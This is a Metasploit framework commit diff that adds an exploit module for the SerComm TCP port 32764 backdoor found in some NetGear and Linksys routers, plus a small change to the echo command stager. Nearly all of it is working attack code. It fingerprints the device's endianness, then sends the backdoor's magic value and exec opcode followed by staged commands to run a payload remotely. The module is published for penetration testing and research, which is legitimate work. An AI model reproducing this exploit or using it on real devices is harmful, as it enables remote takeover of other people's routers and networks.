Land #2823, @mandreko's exploit module for OSVDB 101653

lib/rex/exploitation/cmdstager/echo.rb

@@ -32,7 +32,10 @@ class CmdStagerEcho < CmdStagerBase
   #
   def generate_cmds(opts)
     # Set the start/end of the commands here (vs initialize) so we have @tempdir
-    @cmd_start = "echo -en "
+    @cmd_start = "echo "
+    unless opts[:noargs]
+      @cmd_start += "-en "
+    end
     @cmd_end   = ">>#{@tempdir}#{@var_elf}"
     xtra_len = @cmd_start.length + @cmd_end.length + 1
     opts.merge!({ :extra => xtra_len })

modules/exploits/linux/misc/sercomm_exec.rb

@@ -0,0 +1,121 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GreatRanking
+
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Exploit::CmdStagerEcho
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "SerComm Device Remote Code Execution",
+      'Description'    => %q{
+        This module will cause remote code execution on several SerComm devices.
+        These devices typically include routers from NetGear and Linksys.
+        Tested against NetGear DG834.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
+          'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
+        ],
+      'Payload'        =>
+        {
+          'Space'       => 10000, # Could be more, but this should be good enough
+          'DisableNops' => true
+        },
+      'Platform'       => 'linux',
+      'Privileged'     => false,
+      'Targets'        =>
+        [
+          ['Linux MIPS Big Endian',
+            {
+              'Arch' => ARCH_MIPSBE
+            }
+          ],
+          ['Linux MIPS Little Endian',
+            {
+              'Arch' => ARCH_MIPSLE
+            }
+          ],
+        ],
+      'DefaultTarget'  => 0,
+      'References'     =>
+        [
+          [ 'OSVDB', '101653' ],
+          [ 'URL', 'https://github.com/elvanderb/TCP-32764' ]
+        ],
+      'DisclosureDate' => "Dec 31 2013" ))
+
+      register_options(
+        [
+          Opt::RPORT(32764)
+        ], self.class)
+  end
+
+  def check
+    fprint = endian_fingerprint()
+
+    case fprint
+    when 'BE'
+      print_status("Detected Big Endian")
+      return Msf::Exploit::CheckCode::Vulnerable
+    when 'LE'
+      print_status("Detected Little Endian")
+      return Msf::Exploit::CheckCode::Vulnerable
+    end
+
+    return Msf::Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    execute_cmdstager(:noargs => true)
+  end
+
+  def endian_fingerprint()
+    begin
+      connect
+
+      sock.put(rand_text(5))
+      res = sock.get_once
+
+      disconnect
+
+      if (res && res.start_with?("MMcS"))
+        return 'BE'
+      elsif (res && res.start_with?("ScMM"))
+        return 'LE'
+      end
+    rescue Rex::ConnectionError => e
+      print_error("Connection failed: #{e.class}: #{e}")
+    end
+
+    return nil
+  end
+
+  def execute_command(cmd, opts)
+    vprint_debug(cmd)
+
+    # Get the length of the command, for the backdoor's command injection
+    cmd_length = cmd.length
+
+    # 0x53634d4d  => Backdoor code
+    # 0x07        => Exec command
+    # cmd_length  => Length of command to execute, sent after communication struct
+    data = [0x53634d4d, 0x07, cmd_length].pack("VVV")
+
+    connect
+    # Send command structure followed by command text
+    sock.put(data+cmd)
+    disconnect
+
+    Rex.sleep(1)
+  end
+
+end